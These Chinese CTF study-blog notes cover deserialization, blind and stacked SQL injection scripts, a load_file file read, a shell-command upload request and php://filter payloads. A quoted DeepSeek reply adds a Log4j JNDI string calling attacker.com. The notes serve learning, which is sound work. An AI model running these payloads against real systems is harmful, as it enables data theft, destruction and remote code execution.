Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

不知道为啥我在原码后面直接构造死活输出不了

又试了一次,学到对了一种新的构造语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakea(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}


$a=new school(new classroom('one class',new teacher('ing','department')),'ong');

// $a=new school();
// $b=new classroom();
// $c=new teacher();
// $a->department=$b;
// $b->leader=$c;
echo base64_encode(serialize($a));
?>

用得到的payload传get的’d’

1
?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

此时由于

1
2
3
4
5
6
7
8
9
10
11
12
13
 public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}

//会唤醒
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}

此时传入的post a和b就会拼接进

1
echo new $_POST['a']($_POST['b']);

试了一下上次的file_get_contents,不行,试想了下,直接拼进去会得到

1
2
3
echo new $_POST['file_get_contents']($_POST['b']);
//而上次的是
echo file_get_contents("php://filter/convert.base64-encode/resource=index.php");

这个这个new可能要意味着是类(class)的表达;
看wp
要用hp的内置类SplFileObject来读取文件内容;

原生类

php原生类,应该指的是php内置有,不用定义的类

Error/Exception XSS

1
2
3
4
5
<?php

$a = serialize(new Exception("<script>alert(1)</script>"));

echo $a;

SplFileObject 读文件

1
2
3
4
5
<?php

$a = new SplFileObject("flag.txt");

echo $a;

DirectoryIterator 遍历目录

1
2
3
4
5
6
7
8
9
<?php

$a = new DirectoryIterator(".");

foreach ($a as $b) {

echo $b->getFilename() . "\n";

}

FilesystemIterator 遍历目录

1
2
3
4
5
6
7
8
9
<?php

$a = new FilesystemIterator(".");

foreach ($a as $b) {

echo $b->getFilename() . "\n";

}

title: note-19-盲注脚本编写
date: 2025-03-27 21:30:53
tags: notice

盲注脚本编写

虽然以前做过一些盲注的题,也能根据需要改一下脚本,但是基本都是用网上wp或ai写的脚本,还没有自己写过脚本

[CISCN 2019华北Day2]Web1

先是一个输入框,

1
2
All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage

抓包就是post一个id参数,根据数字来显示不同内容
用bp fuzz了一下,没fuzz明白,
手动fuzz,搞得不明白的
最后还是看了别人的wp
然后尝试自己写盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# import requests
# str='-}{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# #if((substr((select(flag)from(flag)),1,1)='N'),1,2)
# flag=""
# for i in range(1,100):
# url='http://node4.anna.nssctf.cn:28599/index.php'
# for st in str:
# sql="if((ascii(substr((select(flag)from(flag)),{},1))=ascii('{}')),1,2)".format(i,st)
# data={"id":sql}
# re=requests.post(url,data=data,)
# if "Hello" in re.text:
# flag=flag+st
# break
# print(flag)

#(0,128)二分法:

import requests
#str='-}{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
#if((substr((select(flag)from(flag)),1,1)='N'),1,2)
flag=""
for i in range(1,100):
url='http://node4.anna.nssctf.cn:28599/index.php'
sql="if((ascii(substr((select(flag)from(flag)),{},1))<64),1,2)".format(i)
data={"id":sql}
re=requests.post(url,data=data)
if "Hello" in re.text:
for st in range(0,64):
sql="if((ascii(substr((select(flag)from(flag)),{},1))={}),1,2)".format(i,st)
data={"id":sql}
re=requests.post(url,data=data)
if "Hello" in re.text:
st=chr(st)
flag=flag+st
print("第%d个字符"%i)
break
else:
for st in range(64,128):
sql="if((ascii(substr((select(flag)from(flag)),{},1))={}),1,2)".format(i,st)
data={"id":sql}
re=requests.post(url,data=data)
if "Hello" in re.text:
st=chr(st)
flag=flag+st
print("第%d个字符"%i)
break
print(flag)

在写的时候遇到的问题:

requests语句

1
2
3
4
5
6
7
8
9
requests.(请求方式,get或post)

re=requests.post(url,data,可选其它功能(如timeout=$))

#re.text 就等于服务器返回内容中的字符内容
if "Hello" in re.text:

还有data内容的表示
data={"id":sql}

for st in (1,128):
当时只猜测了flag的前两个字符,问了kimi,说我这个(1,128)的意思是数组,只会进行两次循环😅
正确语句
for st in range(64,128):

第一次脚本跑的很慢,而且很容易与服务器断连,看别人wp有用二分法的,自己整了个二分法的版本出来

这时又遇到了另一个问题
当初用requests时学别人wp加上了timeout=10,动不动就超时

1
re=requests.post(url,data=data.timeout=10)

然后就去掉了timeout,但还是很容易断连
于是又有了

1
2
3
4
5
print("第%d个字符"%i)
得到:

32个字符
NSSCTF{479a596c-2b47-41ae-b4dc-5

要是断连的话直接改一下这个起始字符就能继续爆了

1
for i in range(1,100)

总结:

fuzz不会,没有清晰的思路的话真的很费劲,要多学学fuzz思路


title: note-20
date: 2025-03-28 15:12:28
tags: sql

强网杯 2019 随便注

上次做这题还是两个月前,好像也是这题坚定了我打基础的原因,虽然现在看还是得看大佬们的wp
但以前是wp都看不明白
先是数字传参,
注入点

1
?inject=1'#

尝试

1
1'union select 1,2#

回显

return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);

尝试

1
1'or extractvalue(1,concat('!',database()))  # 

成功回显
error 1105 : XPATH syntax error: ‘!supersqli’

好像能用报错,但是select被过滤了呀🤡

尝试了
双写绕过
使用URL编码
<>绕过
无果

只能看wp了吗
https://zhuanlan.zhihu.com/p/545713669
原wp写的是真的好,详细透彻

使用堆叠注入,查看数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
1';show databases;#

回显:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(11) "ctftraining"
}

array(1) {
[0]=>
string(18) "information_schema"
}

array(1) {
[0]=>
string(5) "mysql"
}

array(1) {
[0]=>
string(18) "performance_schema"
}

array(1) {
[0]=>
string(9) "supersqli"
}

array(1) {
[0]=>
string(4) "test"
}

然后是查看表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1';show tables from supersqli;#

回显:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

查看字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1';show colums from "1919810931114514";#

没法回显

改为

1';show columns from '1919810931114514';#

不行

1';show columns from `1919810931114514`;#

成功回显:

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

注意,如果tableName是纯数字,需要用包裹,比如1';desc 1919810931114514`;#

原来是 ` 而不是 ‘ 🤡

到这步骤就有多种方法解题了

法一

通过预编译的方式拼接select 关键字:

1
1';prepare hack from concat('sele','ct','* from `1919810931114514`');execute hack;#

得flag{f2078443-bdad-4914-b367-e6691fd333c5}

法二

将select * from 1919810931114514语句进行16进制编码
73656c656374202a2066726f6d20603139313938313039333131313435313460

1
2
3
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
或者定义一个变量名
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

看情况用把,我觉得能用预编译的话,那很多都能解决了

法三

最后一步(第8步)也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:

1
2
3
4
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 
然后直接
1'; or ture
查看所有字段拿到flag

666,改不了查询语句就改表名,思路太开阔了,

这里要注意:
我在自己尝试的时候没有将换表名和改字段的操作一条语句完成,我是先改的words to words1,导致了源码sql查询语句的查words出错,后面将flag表改成words的操作无法传入,一切后续操作失效,这时sql语句查询的words,但是现在已经没有words这个表了,原sql语句就用不了了,永远报错,应该是相当于这个靶机废了;

法四:

此题还可以通过handle直接出答案:

1
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

notice


0x01 堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

0x02 预编译

预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤,

我理解是先写好sql语句命令,然后执行,类似编程语言里的定义函数或类?
预编译命令用法:

1
2
3
PREPARE 名称 FROM 	Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;

0x03 更改表名

修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

0x04 handle

MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]

# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]

# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

# 关闭已打开的句柄
HANDLER tbl_name CLOSE

参考wp里的语句

1
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

更详细用法
https://blog.csdn.net/qq_43427482/article/details/109898934


title: note-21
date: 2025-04-06 01:47:37
tags: sql

[GYCTF2020]Ezsqli 1

fuzz没fuzz懂,看别人wp是数字型注入
bp出or和and被过滤了,没回显,那就是盲注了
看别人wp是用 ^ 代替 or , && 代替 and
测试是否有回显:

1
2
1&&length(database())>0
1&&length(database())<0

然后测试substr和ascii是否被过滤:

1
2
1&&ascii(substr(database(),1,1))>0
1&&ascii(substr(database(),1,1))<0

写脚本求数据库长度和名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
str='_-}{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
url = 'http://c2a220ad-23f1-4a7a-82c0-73eeafd4d980.node5.buuoj.cn:81/index.php'
# 1&&ascii(substr(database(),1,1))=
database_name=''

for l in range (1,100):
payload = '1&&length(database())={}'.format(l)
data = {'id': payload}
re = requests.post(url,data)
print("testing 数据库长度:",l)
if 'Nu1L' in re.text:
print("数据库长度:",l)
break

for i in range (1,l+1) :
for s in str:
payload = "1&&substr(database(),{},1)='{}'".format(i,s)
data = {'id': payload}
re = requests.post(url,data)
if 'Nu1L' in re.text:
database_name=database_name + s
print("第",i,"个字符: ",database_name)
break

获取到数据库信息之后开始获取数据库内的表名,在测试的时候发现information_schema被过滤了,那就尝试下mysql.innodb_table_stats(mysql默认关闭InnoDB存储引擎)一样不行,那就只能百度了,看网上采用的是sys.x$schema_flattened_keys(需要版本>5.7且只能查询表明,使用方法与information_schema类似)

我这个环境只有sys.x$schema_flattened_keys能用,有的wp用sys.schema_table_statistics_with_buffer,我这没测出来
求表名(写这步卡了我一个小时):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time
str=',-./0123456789:;<>=?@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`{|}~#'
url = 'http://72f05b95-5f5b-4315-94d1-fb6b35544ce8.node5.buuoj.cn:81/index.php'
# 1&&ascii(substr(database(),1,1))=
database_name=''
name=""

# for l in range (1,100):
# payload = '1&&length(database())={}'.format(l)
# data = {'id': payload}
# re = requests.post(url,data)
# print("testing 数据库长度:",l)
# if 'Nu1L' in re.text:
# print("数据库长度:",l)
# break

# for i in range (1,l+1) :
# for s in str:
# payload = "1&&substr(database(),{},1)='{}'".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# database_name=database_name + s
# print("第",i,"个字符: ",database_name)
# break

for l in range (1,1000):
time.sleep(0.05)
payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l)
data = {'id': payload}
re = requests.post(url,data)
print("表名长度:",l)
if 'Nu1L' in re.text:
print("全表名长度:",l)
break

for i in range (1,l+1):
for s in str:
time.sleep(0.05)
payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s)
data = {'id': payload}
re = requests.post(url,data)
if 'Nu1L' in re.text:
name=name + s
print("表名:",name)
break

到求列名,因为information_schema被过滤,sys.schema_table_statistics_with_buffer又并没有储存列名,并且这里过滤了 union 所以我们无法使用常规的无列名注入

1
select 1,2,3 union select * from admin;

更详细
https://blog.csdn.net/qq_71467825/article/details/134655702

先判断表的列数

1
1&&((select 1,2) > (select * from f1ag_1s_h3r3_hhhhh))

知道列数为2,那第一列大概率是id或序列号啥的,猜测flag在2

为什么不能直接用盲注呢,应该是以为没法用selec group_concat(列名),因为没有能查列名的表,所以不知道列名。

那看大佬们的wp,就是用比大小,ascii码大的就大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
select (select "a")  > (select "abcdef")

0



select (select "b") > (select "abcdef")

1

这里能发现 是通过比对 首个字符的ascii 如果相同 就输出 0

不同就输出 1
前一个 ascii 和 后一个ascii 值的大小
如果前一个比较大 那么就输出0

https://kinsey973.github.io/2024/06/08/GYCTF2020-Ezsqli/

利用该方法拿到flag

最后的脚本又写了一个小时,想死了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import time
str='-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#'
url = 'http://39c20ccd-935c-44d7-9446-f5fb806c3f12.node5.buuoj.cn:81/index.php'
# 1&&ascii(substr(database(),1,1))=
database_name=''
name=""

# for l in range (1,100):
# payload = '1&&length(database())={}'.format(l)
# data = {'id': payload}
# re = requests.post(url,data)
# print("testing 数据库长度:",l)
# if 'Nu1L' in re.text:
# print("数据库长度:",l)
# break

# for i in range (1,l+1) :
# for s in str:
# payload = "1&&substr(database(),{},1)='{}'".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# database_name=database_name + s
# print("第",i,"个字符: ",database_name)
# break

# for l in range (1,1000):
# time.sleep(0.05)
# payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l)
# data = {'id': payload}
# re = requests.post(url,data)
# print("表名长度:",l)
# if 'Nu1L' in re.text:
# print("全表名长度:",l)
# break

# for i in range (1,l+1):
# for s in str:
# time.sleep(0.05)
# payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# name=name + s
# print("表名:",name)
# break

flag=''
for l in range (1,10000):
f=''
for s in range (32,127):
time.sleep(0.08)
f=flag + chr(s)
payload = '1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(f)
data = {'id': payload}
re = requests.post(url,data)
if 'Nu1L' in re.text:
flag=flag + chr(s-1)
print(flag.lower)
break

最后出来的flag全是大写,我看别人的wp也是大写要转小写,不知道什么原因

结束

一道题看着别人的wp复现了近3个半小时,菜的发瘟,写脚本脑子跟不上,做题起步难没经验,到底哪天能独立解出一道这种web题啊
//
//
//

复现的wp:
https://kinsey973.github.io/2024/06/08/GYCTF2020-Ezsqli/
https://www.cnblogs.com/upfine/p/16556520.html
https://blog.csdn.net/fmyyy1/article/details/115447291


title: note-22
date: 2025-04-09 15:53:17
tags: sql

[NewStarCTF 2023 公开赛道]midsql

看了wp,只能说fuzz过程应该是最重要的,不然fuzz都fuzz不明白完全不知道下一步该干嘛
也许我记得一些注入方法,但是如果连注入点或者注入方式都fuzz不出来也是完全没用
看了wp后发现原理都懂,那为什么总是要看wp才能写出题目?
就是不会fuzz,
自己写的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import time
start=0
end=0
using=0
st = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$&\()*' +,-./:;"
flag =''
url = "http://9f146922-110f-45e5-a8b6-4b6fffbce466.node5.buuoj.cn:81/?id='if(length(database())like({}),sleep(3),1)"
# for l in range (1,200):
# url = "http://758d4b32-13c8-42cc-9228-a7fe9aa9ffaf.node5.buuoj.cn:81/?id=if(length(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_name/**/like'items')like/**/{},sleep(3),1)".format(l)
# start=time.time()
# requests.get(url)
# end=time.time()
# using = end - start
# if using > 3:
# print("tables length=",l,"using time=",using)
# time.sleep(5)
# break
# print("using time=",using)
# time.sleep(0.05)

# for i in range(1,100):
# for s in st :
# url= "http://758d4b32-13c8-42cc-9228-a7fe9aa9ffaf.node5.buuoj.cn:81/?id=if(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like'items'),{},1)like('{}'),sleep(3),1)".format(i,s)
# start=time.time()
# requests.get(url)
# end=time.time()
# using= end - start
# if using > 3:
# flag=flag + s
# print("tables name=",flag,"using time=",using)
# r=1
# break
# print("using time=",using,"string:",s)
# time.sleep(0.05)
# print(flag)
# r=0
# if r == 0:
# break

#id,name,price

for i in range(1,1000):
for s in range (32,177) :
url= "http://758d4b32-13c8-42cc-9228-a7fe9aa9ffaf.node5.buuoj.cn:81/?id=if(ascii(substr((select/**/group_concat(name)/**/from/**/items),{},1))like('{}'),sleep(2),1)".format(i,s)
start=time.time()
requests.get(url)
end=time.time()
using= end - start
if using > 3:
flag=flag + chr(s)
print("tables name=",flag,"using time=",using,"number string:",i)
r=1
break
print("using time=",using,"string:",chr(s))
time.sleep(0.1)
print(flag)
r=0
if r == 0:
break

参考wp: https://blog.csdn.net/Myon5/article/details/134096958


title: note-23
date: 2025-04-10 19:47:02
tags: 刷题note

ctfshow_web14

一开始也试了传c,但是就试到2,然后以为是源码绕过的,看wp发现是sql注入。
再试到3就能自己发现这个页面了,,,,,,,,
/here_1s_your_f1ag.php
按f12发现:

if(preg_match(‘/information_schema.tables|information_schema.columns|linestring| |polygon/is’, $_GET[‘query’])){
die(‘@A@’);

禁用了information_schema猜是无列名注入

1
2
3
1'union/**/select/**/database()

1&&sleep(5)

字符注入

1
2
3
1&&order/**/by/**/1

0/**/union/**/select/**/database()

试出是字符注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database()

0/**/union/**/select/**/@@version

//alert('10.2.26-MariaDB-log')

0/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats
//alert('gtid_slave_pos,content')

0/**/union/**/select/**/group_concat(*)/**/from/**/gtid_slave_pos

0/**/union/**/select/**/group_concat(1,2,3)/**/from/**/content

0/**/union/**/select/**/*/**/from/**/content

0/**/union/**/select/**/load_file/**/

试一下无列名注入

1
2
3
4
5
6
7
0/**/union/**/select/**/group_concat(1,2,3)/**/from/**/(select/**/1,2,3/**/from/**/content)

0/**/select/**/1,2,3/**/union/**/select/**/*/**/from/**/content#

0/**/union/**/select/**/group_concat(1,2,3)/**/from/**/content

//回显(123,123,123,123)无果

看wp:https://blog.csdn.net/m0_55923820/article/details/118783171
原来sql还能加载文件
学到了

1
2
3
4
5
6
7
8
9
0/**/union/**/select/**/load_file('/var/www/html/secret.php')

0/**/union/**/select/**/load_file('/tmp/gtf1y')

0/**/union/**/select/**/load_file('/tmp/gtf1y/real_flag_is_here')

0/**/union/**/select/**/load_file('/real_flag_is_here')
//没想到是直接访问'/real_flag_is_here'
//alert('ctfshow{dd04abdc-9d55-4d0d-8d2d-f616f7b82caa}')

有无列明注入的版本wp,但我在我的环境没试出来:
https://www.zxcms.com/content/3fcqbuf331l6p0.html

ctfshow 红包题第二弹

这题有点牛逼了

https://www.cnblogs.com/wssw/p/18115718
前面的?>意思是闭合前面的语句。
<?=是echo()的别名用法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /?cmd=?%3E%3C?=`.%20/??p/p?p??????`; HTTP/1.1
Host: 6fd1fc97-dca5-4a94-8065-2622d4c7ed8d.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------114514
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 245

-----------------------------114514
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat /flag.txt
-----------------------------114514--

title: note-24
date: 2025-04-13 02:03:13
tags: note

note-24

sql刷不下去了,感觉每见一道题就要新学一个知识点,做了一些题目,遇到新题还得去找wp,心态崩

user:

我学web是该专刷一个地方,像专门刷sql还是泛刷题目?

deepseek:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
(≧ω≦) 喵哒~这个问题就像选择「草莓蛋糕吃到饱」还是「甜品全席体验」呢!来听人家用猫耳天线分析:

🌸 分阶段策略(萌新版)
新手期(前3个月)→ 泛刷!

✨ 理由:像探索新大陆!发现「啊~原来还有文件包含这种魔法!」

🎯 目标:刷遍OWASP Top 10基础题型(每类至少5题)

🍳 栗子:今天用SQLi偷flag,明天用XSS调戏管理员~

进阶期(3-6个月)→ 专精!

✨ 理由:找到本命漏洞(比如爱上SQLi的哲学美感)

🎯 目标:深挖某个领域到能自己出题(如:掌握SQL报错注入的6种变形)

🍳 栗子:用不同数据库特性玩花活 → mysql: /*!50000select / mssql: waitfor delay '0:0:3'

突破期(6个月+)→ 交叉!

✨ 理由:像调鸡尾酒一样混合攻击(比如用XXE触发SSRF再读内网SQL数据)

🎯 目标:在CTF中把两个漏洞组合成COMBO连击!

🍳 栗子:LFI+RCE → 用php://filter读源码 → 发现反序列化链 → getshell!

💡 平衡心法
周一/三/五 → 泛刷新题型(保持知识广度)

周二/四 → 专精特训(比如只玩SSTI的各种bypass技巧)

周末 → 参加实战赛(把知识搅拌成混沌漩涡~)

(戳戳屏幕)「偷偷说~人家最近把SQLi玩出了新花样:admin'/*${jndi:ldap://attacker.com}*/='1 同时触发SQLi+Log4j呢~(ฅ´ω`ฅ)」

deepseek调的挺好,
故去泛刷刷新手赛web题目,至少能自己做出来安慰一下自己

[ACTF2020 新生赛]Include 1

文件包含的话,回去翻了一下
note-17

https://aidemofashi.github.io/2025/03/23/note-17/#php-filter

传入php://filter/convert.base64-encode/resource=flag.php

base解码得到flag

[极客大挑战 2019]Secret File[极客大挑战 2019]Secret File

0x00

等到网址,查看源码发现

1
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

点击跳转到

http://99cd5773-2487-4bd3-a8f6-235d68b2550c.node5.buuoj.cn:81/Archive_room.php

0x01

点击按钮,根据提示感觉是重新跳到了另一个页面

bp抓包查看服务器回应
发现

1
2
3
<!--
secr3t.php
-->

故访问 :
http://99cd5773-2487-4bd3-a8f6-235d68b2550c.node5.buuoj.cn:81/secr3t.php

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

0x02

访问 : http://99cd5773-2487-4bd3-a8f6-235d68b2550c.node5.buuoj.cn:81/flag.php

查看源码没发现啥,根据页面提示,flag应该就在网页源码里

但是直接用include接上伪议会直接执行,用base64解码输就行

最后payload:

1
http://99cd5773-2487-4bd3-a8f6-235d68b2550c.node5.buuoj.cn:81/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

注意要在secr3t.php传,
解码得到网页源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{b7f18145-c01d-49fb-bd88-e30b9be76423}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>


title: note-25
date: 2025-04-15 13:11:04
tags: note

[suctf 2019]EasySQL

